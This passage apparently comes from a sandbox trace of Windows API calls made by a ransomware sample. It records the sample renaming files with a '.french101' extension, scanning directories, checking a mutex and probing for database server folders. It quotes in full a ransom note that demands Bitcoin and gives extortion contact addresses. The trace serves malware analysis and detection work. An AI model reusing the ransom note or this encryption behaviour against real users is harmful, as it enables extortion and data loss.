(in: hFile=0x35c, lpBuffer=0x3eaabc8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaabc8*, lpNumberOfBytesWritten=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0280.154] SetFilePointer (in: hFile=0x35c, lDistanceToMove=68226, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x10a82 [0280.154] WriteFile (in: hFile=0x35c, lpBuffer=0x3eaafc8*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaafc8*, lpNumberOfBytesWritten=0x19e498*=0x18, lpOverlapped=0x0) returned 1 [0280.154] WriteFile (in: hFile=0x35c, lpBuffer=0x3e632d8*, nNumberOfBytesToWrite=0xc2, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e632d8*, lpNumberOfBytesWritten=0x19e498*=0xc2, lpOverlapped=0x0) returned 1 [0280.154] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0280.154] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.154] CloseHandle (hObject=0x35c) returned 1 [0280.161] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1041\\x4Rg5JzXr+wbktLoYzc6=B1P7ucKyAfakEWeAVHTFreAZ4.french101" (normalized: "c:\\588bce7c90097ed212\\1041\\x4rg5jzxr+wbktloyzc6=b1p7uckyafakeweavhtfreaz4.french101")) returned 1 [0280.162] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\x4Rg5JzXr+wbktLoYzc6=B1P7ucKyAfakEWeAVHTFreAZ4.french101" (normalized: "c:\\588bce7c90097ed212\\1041\\x4rg5jzxr+wbktloyzc6=b1p7uckyafakeweavhtfreaz4.french101"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c [0280.162] SetFileTime (hFile=0x35c, lpCreationTime=0x19e544, lpLastAccessTime=0x19e53c, lpLastWriteTime=0x19e534) returned 1 [0280.162] CloseHandle (hObject=0x35c) returned 1 [0280.162] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\x4Rg5JzXr+wbktLoYzc6=B1P7ucKyAfakEWeAVHTFreAZ4.french101", dwFileAttributes=0x80) returned 1 [0280.163] CloseHandle (hObject=0x35c) returned 0 [0280.163] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0280.163] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0280.163] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.163] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0280.163] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0280.163] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0280.163] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.163] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0280.163] GlobalUnlock (hMem=0x3f4000c) returned 0 [0280.163] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \r\n\r\nContact us using this email address: french101@protonmail.ch (french101@cock.li, french101@india.com)\r\n\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nHow to obtain Bitcoins? \r\n * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click \r\n 'Buy bitcoins', and select the seller by payment method and price: \r\n https://localbitcoins.com/buy_bitcoins \r\n * Also you can find other places to buy Bitcoins and beginners guide here: \r\n http://www.coindesk.com/information/how-can-i-buy-bitcoins \r\n \r\nAttention! \r\n * Do not rename encrypted files. \r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss. \r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam. \r\n", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0280.164] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x19e590 | out: lpFindFileData=0x19e590) returned 0x6da1d0 [0280.164] FileTimeToLocalFileTime (in: lpFileTime=0x19e5a4, lpLocalFileTime=0x19e524 | out: lpLocalFileTime=0x19e524) returned 1 [0280.164] FileTimeToDosDateTime (in: lpFileTime=0x19e524, lpFatDate=0x19e572, lpFatTime=0x19e570 | out: lpFatDate=0x19e572, lpFatTime=0x19e570) returned 1 [0280.164] FindClose (in: hFindFile=0x6da1d0 | out: hFindFile=0x6da1d0) returned 1 [0280.164] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\588bce7c90097ed212\\1041\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c [0280.164] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0280.164] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x87f [0280.164] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0280.164] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0280.164] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x87f [0280.165] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0280.165] ReadFile (in: hFile=0x35c, lpBuffer=0x3e80e78, nNumberOfBytesToRead=0x87f, lpNumberOfBytesRead=0x19e79c, lpOverlapped=0x0 | out: lpBuffer=0x3e80e78*, lpNumberOfBytesRead=0x19e79c*=0x87f, lpOverlapped=0x0) returned 1 [0280.165] CloseHandle (hObject=0x35c) returned 1 [0280.165] FindNextFileW (in: hFindFile=0x6da2d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0280.165] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0280.165] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0280.165] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0280.165] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0280.165] GlobalUnlock (hMem=0x3f4000c) returned 0 [0280.165] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0280.165] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0280.165] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0280.165] GlobalUnlock (hMem=0x3f4000c) returned 0 [0280.165] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0280.165] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.166] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0280.166] CharLowerBuffW (in: lpsz="SetupResources.dll", cchLength=0x12 | out: lpsz="setupresources.dll") returned 0x12 [0280.166] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.166] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.166] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.166] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0280.166] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.166] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.166] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.166] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.166] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.166] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.166] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.166] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.166] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.166] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.166] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.166] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.166] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.166] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.166] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13158, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0280.167] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0280.167] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dlls.dll", lpUsedDefaultChar=0x0) returned 4 [0280.167] FindNextFileW (in: hFindFile=0x6da2d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0 [0280.167] GetLastError () returned 0x12 [0280.167] FindClose (in: hFindFile=0x6da2d0 | out: hFindFile=0x6da2d0) returned 1 [0280.167] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0280.167] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0280.167] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.167] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0280.167] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0280.167] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0280.167] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.167] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0280.167] GlobalUnlock (hMem=0x3f4000c) returned 0 [0280.168] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\*.*", lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0x6da1d0 [0280.168] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e83c | out: lpLocalFileTime=0x19e83c) returned 1 [0280.168] FileTimeToDosDateTime (in: lpFileTime=0x19e83c, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0280.168] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0280.168] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0280.168] GlobalUnlock (hMem=0x3f4000c) returned 0 [0280.168] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0280.168] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0280.168] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0280.169] GlobalUnlock (hMem=0x3f4000c) returned 0 [0280.169] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0280.169] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.169] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0280.169] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0280.169] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0280.169] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0280.169] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0280.169] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0280.169] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.169] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0280.170] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0280.170] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0280.170] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.170] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0280.170] GlobalUnlock (hMem=0x3f4000c) returned 0 [0280.170] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0280.170] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0280.170] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0280.170] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0280.170] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0280.170] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0280.170] GlobalUnlock (hMem=0x3f4000c) returned 0 [0280.170] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0280.170] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0280.170] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0280.170] GlobalUnlock (hMem=0x3f4000c) returned 0 [0280.170] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0280.170] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.171] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0280.171] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0280.171] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0280.171] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0280.171] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0280.171] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0280.171] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.171] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0280.171] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0280.171] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0280.171] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.171] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0280.171] GlobalUnlock (hMem=0x3f4000c) returned 0 [0280.171] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0280.171] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0280.171] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0280.171] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0280.172] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0280.172] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0280.206] GlobalUnlock (hMem=0x3f4000c) returned 0 [0280.207] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0280.207] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0280.207] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0280.207] GlobalUnlock (hMem=0x3f4000c) returned 0 [0280.207] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0280.207] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.207] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0280.207] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0280.207] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0280.207] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0280.207] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0280.207] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0280.207] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.207] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0280.207] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0280.207] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0280.207] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.208] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0280.208] GlobalUnlock (hMem=0x3f4000c) returned 0 [0280.208] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0280.208] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0 [0280.208] GetLastError () returned 0x12 [0280.208] FindClose (in: hFindFile=0x6da1d0 | out: hFindFile=0x6da1d0) returned 1 [0280.208] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0280.208] FileTimeToLocalFileTime (in: lpFileTime=0x19ec6c, lpLocalFileTime=0x19eb78 | out: lpLocalFileTime=0x19eb78) returned 1 [0280.208] FileTimeToDosDateTime (in: lpFileTime=0x19eb78, lpFatDate=0x19ec3a, lpFatTime=0x19ec38 | out: lpFatDate=0x19ec3a, lpFatTime=0x19ec38) returned 1 [0280.208] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0280.208] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0280.208] GlobalUnlock (hMem=0x3f4000c) returned 0 [0280.208] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0280.208] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0280.208] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0280.208] GlobalUnlock (hMem=0x3f4000c) returned 0 [0280.209] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0280.209] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.209] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0280.209] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0280.209] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0280.209] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.209] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0280.209] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0280.209] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0280.209] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.209] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0280.209] GlobalUnlock (hMem=0x3f4000c) returned 0 [0280.209] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0280.210] SysReAllocStringLen (in: pbstr=0x19eb78*=0x0, psz="C:\\588bce7c90097ed212\\1042", len=0x1a | out: pbstr=0x19eb78*="C:\\588bce7c90097ed212\\1042") returned 1 [0280.210] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0280.210] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0280.210] GlobalUnlock (hMem=0x3f4000c) returned 0 [0280.210] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0280.210] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0280.210] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0280.210] GlobalUnlock (hMem=0x3f4000c) returned 0 [0280.211] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0280.211] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.211] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\Microsoft\\Exchange Server", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0280.211] GetLastError () returned 0x3 [0280.211] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1042\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1042\\") returned 0x1b [0280.211] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f1ced0, cbMultiByte=26, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0280.211] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\Microsoft SQL Server", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0280.211] GetLastError () returned 0x2 [0280.212] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1042\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1042\\") returned 0x1b [0280.212] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f1ced0, cbMultiByte=21, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\疼\x16") returned 21 [0280.212] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\Firebird", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0280.212] GetLastError () returned 0x2 [0280.212] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1042\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1042\\") returned 0x1b [0280.212] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39de0, cbMultiByte=9, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0280.212] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\MSSQL.1", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0280.212] GetLastError () returned 0x2 [0280.212] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1042\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1042\\") returned 0x1b [0280.212] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39de0, cbMultiByte=8, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0280.212] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\Microsoft SQL Server Compact Edition", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0280.213] GetLastError () returned 0x2 [0280.213] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1042\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1042\\") returned 